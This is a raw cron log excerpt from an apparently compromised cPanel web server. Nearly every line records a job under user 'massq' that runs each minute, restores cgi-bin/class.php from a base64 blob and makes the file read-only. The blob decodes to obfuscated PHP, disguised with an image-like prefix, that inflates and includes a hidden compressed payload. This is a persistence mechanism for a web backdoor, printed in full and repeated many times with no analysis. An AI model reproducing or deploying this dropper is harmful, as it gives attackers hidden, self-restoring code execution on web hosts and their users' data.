"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:12:01 server CROND[15821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:12:01 server CROND[15822]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 21:13:01 server CROND[15866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:14:01 server CROND[15954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:15:01 server CROND[16106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:15:01 server CROND[16107]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:15:01 server CROND[16108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:16:01 server CROND[16211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:17:01 server CROND[16254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:18:01 server CROND[16314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:19:01 server CROND[16377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:20:01 server CROND[16529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:20:01 server CROND[16533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:20:01 server CROND[16534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 21:20:01 server CROND[16537]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 21:20:01 server CROND[16535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:21:01 server CROND[16664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:22:01 server CROND[16721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:23:01 server CROND[16784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:24:01 server CROND[16838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
